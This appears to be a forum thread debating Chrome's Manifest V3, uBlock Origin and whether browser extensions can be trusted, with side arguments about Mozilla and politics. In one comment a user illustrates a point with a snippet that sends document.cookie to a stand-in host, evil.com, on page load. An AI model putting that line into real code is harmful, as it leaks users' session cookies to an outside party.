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Firefox is now the last major browser that still supports uBlock Origin

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Re: Firefox is now the last major browser that still supports uBlock Origin

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>So you're saying that because Google didn't completely up-end the security model and break almost every extension in the one-go, we should have no-progress towards a more secure extension model? A funny argument to make because the thing that would make such a measure ridiculous as you rightly point out, is exactly what already makes the Manifest changes ridiculous in the first instance. They were making a rhetorica…

I think a big step forward, towards a better security model, was overall a good thing, even if it meant that a good extension no longer had unfettered access to everything your browser saw. I don't think this change is ridiculous at all. And I don't want them to stop here either! v4 should close more of the avenues that malicious extensions are abusing! Extensions should declare everything up-front, so it's easy see…

How do you secure against the system vendor (in this case the browser) limiting what the consumer/user can or can't do (alone or with the help of third parties) with the product after acquiring it though? After all security for individuals against commercial and otherwise organized interests is one of the, if not the most important security after life and health. Even if one values the market overall for financial reasons, there is a solid argument that preventing modifications (and thus also repairs) is anti-competitive. It would be damaging to society if manifestV4 is realized restricting what can run further, much like printers and operating systems where the users ability to run software they bring themselves is limited has been. Just as no one should have to go to a mechanic with a special deal with the manufacturer to get their car or tractor to work as desired, neither should users of software.

Re: Firefox is now the last major browser that still supports uBlock Origin

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Long dead. Now there is no XUL, only (private user) data (that Mozilla sells for revenue)

I think they're making a Ghostbusters joke, btw

Mozilla made the joke themselves, about Firefox. "There is no data, there is only XUL" was an official XUL catchphrase. But now there is no XUL, and Mozilla sells private user data, so it's reversed.

Re: Firefox is now the last major browser that still supports uBlock Origin

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> banners that say "our website does not work with your browser, please switch to Chrome" Which in practice means "switch to using a Firefox extension which fakes looking like Chrome, and just to selected shitty sites like ours".

Which in practice would only be executed by the same crowd of people who would have opted-in to the security features on the first pass.

Which in turn should be built into the browser and done automatically

Re: Firefox is now the last major browser that still supports uBlock Origin

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I didn't know who Charlie Kirk was, and no facts about DHH other than him being Rails creator. "will never be awesome" is missing some quantifier about US-centricity.

> US-centricity Andreas Kling is Swedish, DHH is Danish, fascism originated in Europe.

Italian fascism originated in Italy, but if you broaden the definition of "fascism" to include Nazism (as Adolf Hitler did), then there's an argument that it originated in the 19th century, in many parts of the world, including the United States. Among others, Adolf Hitler took inspiration from Madison Grant, Henry Ford, and the Jim Crow laws; and the Nazi regime took inspiration from Harry Laughlin, the KKK, and American eugenics. (WWII might be a bigger contributor to eugenics going out of fashion in the US than its lack of scientific merit was.)

Re: Firefox is now the last major browser that still supports uBlock Origin

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... But they do that. The declaration is written in a language called JavaScript.

Javascript is not a declarative language.

Sure it is.

Here's how you can write a declaration that you want to exfiltrate cookies:

    document.addEventListener("load", function(){
        fetch("http://evil.com/"+document.cookie);
    });

Re: Firefox is now the last major browser that still supports uBlock Origin

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The purpose of browser extensions is to build up an install base then sell out to some corporation that then promptly leverages that user base to exfiltrate data and monetize it. No thanks. They should have to declare to the browser what it is they want done instead.

Bro, they have to declare there Firefox's policy. What the heck are you doing? Hallucinating claim after claim to support your weak defense. Just stop

"Declare" means the extension tells the browser what they want to filter and then the browser does it internally without ever allowing the extension to read and write private information.

The argument has nothing at all to do with declaring permissions in a manifest.

Re: Firefox is now the last major browser that still supports uBlock Origin

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post #237

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the obvious thing to do is keep using firefox as your daily driver, and load up the other browser as needed for the video etc. I'm being tongue-in-cheek here because it seems most people just give up on safari/firefox if one thing doesn't work and go to some chromium-based browser as their default driver. That's sad.

What you say is what I do, Firefox is open all the time, I switch to brave or edge if ff won't load something. I use adnauseam as adblocker. I have never had chrome on windows 10 or 11; nor chromium. For a year chase.com wouldn't allow me to login from Firefox. Dumb.

Did you go to your local Chase branch with Firefox on your phone and pretend you have no idea why it doesn't work?

Re: Firefox is now the last major browser that still supports uBlock Origin

#378

Too bad Firefox isn't a major browser. And it shouldn't be. It's now full of ads for Mozilla VPN and stuff. We need the engine, but not the browser.

The benefit of open source here is there are forked versions of it you can download.

Exactly. I suggest Zen.

Re: Firefox is now the last major browser that still supports uBlock Origin

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It was killed by a lawsuit, mostly. Also FE devs using all new Chrome shinny APIs, and their Electron junk are also to blame, and they aren't going to throw their toys away.

If nothing else, I really do hope that the greater AI usage leads to more adoption (and hopefully interest) of native frameworks.

If only, everyone brags about Claude and Fable, yet they can't do anything better than Electron and React for TUIs.

Re: Firefox is now the last major browser that still supports uBlock Origin

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> Then they had to make up some reasons to justify that Hate to be the one to defend Google here, but the reasons weren't that unreasonable. I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good. It's just that uBlock Origin is so insanely useful, important and trusted, it should get full access to the entire browser regardless. Honestly, it should…

> Hate to be the one to defend Google here, but the reasons weren't that unreasonable. I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good. Don't kid yourself, even with mv3 if you install a rogue extension it's going to have access to a lot more data than you would be comfortable sharing to.

Yes, which is why it is important to lock such things down.
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